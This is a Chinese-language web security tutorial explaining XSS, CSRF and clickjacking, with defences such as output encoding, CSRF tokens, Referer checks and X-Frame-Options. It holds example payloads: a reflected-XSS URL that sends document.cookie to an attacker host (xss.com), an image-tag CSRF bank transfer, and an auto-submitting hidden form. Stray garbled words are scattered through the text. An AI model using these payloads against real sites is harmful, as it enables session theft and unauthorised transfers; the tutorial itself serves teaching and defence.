Web安全的三個攻防姿式

關於Web安全的問題,是一個老生常談的問題,做爲離用戶最近的一層,咱們大前端確實須要把手伸的更遠一點。javascript

咱們最多見的Web安全攻擊有如下幾種php

  1. XSS 跨站腳本攻擊css

  2. CSRF 跨站請求僞造html

  3. clickjacking 點擊劫持/UI-覆蓋攻擊前端

下面咱們來一一分析java

XSS 跨站腳本攻擊

跨站腳本攻擊(Cross Site Scripting),爲了避免和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。web

分類

  1. Reflected XSS(基於反射的XSS攻擊)數據庫

  2. Stored XSS(基於存儲的XSS攻擊)後端

  3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)瀏覽器

Reflected XSS(基於反射的XSS攻擊)

主要經過利用系統反饋行爲漏洞,並欺騙用戶主動觸發,從而發起Web攻擊。
舉個栗子:

1- 假設,在嚴選網站搜索商品,當搜索不到時站點會作「xxx未上架提示」。以下圖。

2- 在搜索框搜索內容,填入「<script>alert('xss')</script>」, 點擊搜索。

3- 當前端頁面沒有對填入的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。

(固然上圖是模擬的)

以上3步只是「自娛自樂」,XSS最關鍵的是第四步。

4- 進而能夠構造獲取用戶cookies的地址,經過QQ羣或者垃圾郵件,來讓其餘人點擊這個地址:

http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

5- 若是受騙的用戶恰好已經登陸過嚴選網站,那麼,用戶的登陸cookie信息就已經發到了攻擊者的服務器(xss.com)了。固然,攻擊者會作一些更過度的操做。

Stored XSS(基於存儲的XSS攻擊)

Stored XSS和Reflected XSS的差異就在於,具備攻擊性的腳本被保存到了服務器而且能夠被普通用戶完整的從服務的取得並執行,從而得到了在網絡上傳播的能力。

再舉個栗子:
1- 發一篇文章,裏面包含了惡意腳本

你好!當你看到這段文字時,你的信息已經不安全了!<script>alert('xss')</script>

2- 後端沒有對文章進行過濾,直接保存文章內容到數據庫。

3- 當其餘讀者看這篇文章的時候,包含的惡意腳本就會執行。

tips:文章是保存整個HTML內容的,前端顯示時候也不作過濾,就很可能出現這種狀況。
此爲題多從在於博客網站。

若是咱們的操做不只僅是彈出一個信息,並且刪除一篇文章,發一篇反動的文章,或者成爲個人粉絲而且將這篇帶有惡意腳本的文章轉發,這樣是否是就具備了攻擊性。

DOM-based or local XSS(基於DOM或本地的XSS攻擊)

DOM,全稱Document Object Model,是一個平臺和語言都中立的接口,可使程序和腳本可以動態訪問和更新文檔的內容、結構以及樣式。

DOM型XSS實際上是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞。能夠經過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就能夠利用JS腳原本實現XSS漏洞的利用。

可能觸發DOM型XSS的屬性:
document.referer屬性
window.name屬性
location屬性
innerHTML屬性
documen.write屬性
······

總結

XSS攻擊的本質就是,利用一切手段在目標用戶的瀏覽器中執行攻擊腳本。

防範

對於一切用戶的輸入、輸出、客戶端的輸出內容視爲不可信,在數據添加到DOM或者執行了DOM API的時候,咱們須要對內容進行HtmlEncode或JavaScriptEncode,以預防XSS攻擊。

CSRF 跨站請求僞造

CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。但每每同XSS一同做案!

此下的詳解部分轉自hyddd的博文http://www.cnblogs.com/hyddd/...,示例寫的很贊就部分謄抄至此,並作了必定的修改,向做者hyddd致敬&致謝。

CSRF能夠作什麼?

你這能夠這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發送惡意請求。CSRF可以作的事情包括:以你名義發送郵件,發消息,盜取你的帳號,甚至於購買商品,虛擬貨幣轉帳......形成的問題包括:我的隱私泄露以及財產安全。

CSRF漏洞現狀

CSRF這種攻擊方式在2000年已經被國外的安全人員提出,但在國內,直到06年纔開始被關注,08年,國內外的多個大型社區和交互網站分別爆出CSRF漏洞,如:NYTimes.com(紐約時報)、Metafilter(一個大型的BLOG網站),YouTube和百度HI......而如今,互聯網上的許多站點仍對此毫無防備,以致於安全業界稱CSRF爲「沉睡的巨人」。

CSRF的原理

下圖簡單闡述了CSRF攻擊的思想:

從上圖能夠看出,要完成一次CSRF攻擊,受害者必須依次完成兩個步驟:

  1. 登陸受信任網站A,並在本地生成Cookie。

  2. 在不登出A的狀況下,訪問危險網站B。

看到這裏,你也許會說:「若是我不知足以上兩個條件中的一個,我就不會受到CSRF的攻擊」。是的,確實如此,但你不能保證如下狀況不會發生:
  

  1. 你不能保證你登陸了一個網站後,再也不打開一個tab頁面並訪問另外的網站。

  2. 你不能保證你關閉瀏覽器了後,你本地的Cookie馬上過時,你上次的會話已經結束。(事實上,關閉瀏覽器不能結束一個會話,但大多數人都會錯誤的認爲關閉瀏覽器就等於退出登陸/結束會話了......)

  3. 上圖中所謂的攻擊網站,多是一個存在其餘漏洞的可信任的常常被人訪問的網站。

 

示例

上面大概地講了一下CSRF攻擊的思想,下面我將用幾個例子詳細說說具體的CSRF攻擊,這裏我以一個銀行轉帳的操做做爲例子(僅僅是例子,真實的銀行網站沒這麼傻:>)

示例1

銀行網站A,它以GET請求來完成銀行轉帳的操做,如:http://www.mybank.com/Transfe...
危險網站B,它裏面有一段HTML的代碼以下:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先,你登陸了銀行網站A,而後訪問危險網站B,噢,這時你會發現你的銀行帳戶少了1000塊......

爲何會這樣呢?緣由是銀行網站A違反了HTTP規範,使用GET請求更新資源。在訪問危險網站B的以前,你已經登陸了銀行網站A,而B中的<img>以GET的方式請求第三方資源(這裏的第三方就是指銀行網站了,本來這是一個合法的請求,但這裏被不法分子利用了),因此你的瀏覽器會帶上你的銀行網站A的Cookie發出Get請求,去獲取資源

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

結果銀行網站服務器收到請求後,認爲這是一個更新資源操做(轉帳操做),因此就馬上進行轉帳操做......

示例2

爲了杜絕上面的問題,銀行決定改用POST請求完成轉帳操做。
銀行網站A的WEB表單以下:

<form action="Transfer.php" method="POST">
    <p>ToBankId: <input type="text" name="toBankId" /></p>
    <p>Money: <input type="text" name="money" /></p>
    <p><input type="submit" value="Transfer" /></p>
</form>

後臺處理頁面Transfer.php以下:

<?php
    session_start();
    if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
    {
        buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
    }
?>

危險網站B,仍然只是包含那句HTML代碼:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

和示例1中的操做同樣,你首先登陸了銀行網站A,而後訪問危險網站B,結果.....和示例1同樣,你再次沒了1000塊~T_T,此次事故的緣由是:銀行後臺使用了$_REQUEST去獲取請求的數據,而$_REQUEST既能夠獲取GET請求的數據,也能夠獲取POST請求的數據,這就形成了在後臺處理程序沒法區分這究竟是GET請求的數據仍是POST請求的數據。在PHP中,可使用$_GET和$_POST分別獲取GET請求和POST請求的數據。在JAVA中,用於獲取請求數據request同樣存在不能區分GET請求數據和POST數據的問題。

示例3

通過前面2個慘痛的教訓,銀行決定把獲取請求數據的方法也改了,改用$_POST,只獲取POST請求的數據,後臺處理頁面Transfer.php代碼以下:

<?php
    session_start();
    if (isset($_POST['toBankId'] && isset($_POST['money']))
    {
        buy_stocks($_POST['toBankId'], $_POST['money']);
    }
  ?>

  然而,危險網站B與時俱進,它改了一下代碼:

<html>
  <head>
    <script type="text/javascript">
      function steal()
      {
               iframe = document.frames["steal"];
               iframe.document.Submit("transfer");
      }
    </script>
  </head>

  <body onload="steal()">
    <iframe name="steal" display="none">
      <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
        <input type="hidden" name="toBankId" value="11">
        <input type="hidden" name="money" value="1000">
      </form>
    </iframe>
  </body>
</html>

若是用戶還是繼續上面的操做,很不幸,結果將會是再次不見1000塊......由於這裏危險網站B暗地裏發送了POST請求到銀行!
  
總結一下上面3個例子,CSRF主要的攻擊模式基本上是以上的3種,其中以第1,2種最爲嚴重,由於觸發條件很簡單,一個<img>就能夠了,而第3種比較麻煩,須要使用JavaScript,因此使用的機會會比前面的少不少,但不管是哪一種狀況,只要觸發了CSRF攻擊,後果都有可能很嚴重。
  
理解上面的3種攻擊模式,其實能夠看出,CSRF攻擊是源於WEB的隱式身份驗證機制!WEB的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器,但卻沒法保證該請求是用戶批准發送的!

當前防護 CSRF 的幾種策略

在業界目前防護 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 並驗證;在 HTTP 頭中自定義屬性並驗證。下面就分別對這三種策略進行詳細介紹。

驗證 HTTP Referer 字段

利用HTTP頭中的Referer判斷請求來源是否合法。

優勢:簡單易行,只須要在最後給全部安全敏感的請求統一增長一個攔截器來檢查 Referer 的值就能夠。特別是對於當前現有的系統,不須要改變當前系統的任何已有代碼和邏輯,沒有風險,很是便捷。

缺點:
一、Referer 的值是由瀏覽器提供的,不可全信,低版本瀏覽器下Referer存在僞造風險。
二、用戶本身能夠設置瀏覽器使其在發送請求時再也不提供 Referer時,網站將拒絕合法用戶的訪問。

在請求地址中添加 token 並驗證

在請求中放入黑客所不能僞造的信息,而且該信息不存在於 cookie 之中,以HTTP請求參數的形式加入一個隨機產生的 token交由服務端驗證

優勢:比檢查 Referer 要安全一些,而且不涉及用戶隱私。
缺點:對全部請求都添加token比較困難,難以保證 token 自己的安全,依然會被利用獲取到token

在 HTTP 頭中自定義屬性並驗證+One-Time Tokens

將token放到 HTTP 頭中自定義的屬性裏。經過 XMLHttpRequest 的異步請求交由後端校驗,而且一次有效。

優勢:統一管理token輸入輸出,能夠保證token的安全性
缺點:有侷限性,沒法在非異步的請求上實施

點擊劫持

點擊劫持,英文名clickjacking,也叫UI覆蓋攻擊,攻擊者會利用一個或多個透明或不透明的層來誘騙用戶支持點擊按鈕的操做,而實際的點擊確實用戶看不到的一個按鈕,從而達到在用戶不知情的狀況下實施攻擊。

這種攻擊方式的關鍵在於能夠實現頁中頁的<iframe />標籤,而且可使用css樣式表將他不可見

如以上示意圖的藍色層,攻擊者會經過必定的手段誘惑用戶「在紅色層」輸入信息,但用戶實際上實在藍色層中,以此作欺騙行爲。

拿支付寶作個栗子

上圖是支付寶手機話費充值的界面。

再看看一下界面

是的,這個是我僞造的,若是我將真正的充值站點隱藏在此界面上方。我想,聰明的你已經知道clickjacking的危險性了。

上圖我估計作了一下錯位和下降透明度,是否是頗有意思呢?傻傻分不清的用戶還覺得是領取了獎品,實際上是給陌生人充值了話費。

這種方法最多見的攻擊場景是僞造一些網站盜取賬號信息,如支付寶、QQ、網易賬號等賬號的帳密

目前,clickjacking還算比較冷門,不少安全意識不強的網站還未着手作clickjacking的防範。這是很危險的。

防範

防止點擊劫持有兩種主要方法:

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微軟提出的一個http頭,指示瀏覽器不容許從其餘域進行取景,專門用來防護利用iframe嵌套的點擊劫持攻擊。而且在IE八、Firefox3.六、Chrome4以上的版本均能很好的支持。
這個頭有三個值:
DENY // 拒絕任何域加載
SAMEORIGIN // 容許同源域下加載
ALLOW-FROM // 能夠定義容許frame加載的頁面地址

頂層判斷

在UI中採用防護性代碼,以確保當前幀是最頂層的窗口
方法有多中,如

top != self || top.location != self.location || top.location != location

有關Clickjacking防護的更多信息,請參閱Clickjacking Defense Cheat Sheet.

參考

[1] 淺談CSRF攻擊方式 - http://www.cnblogs.com/hyddd/...
[2] CSRF 攻擊的應對之道 - https://www.ibm.com/developer...

相關文章
相關標籤/搜索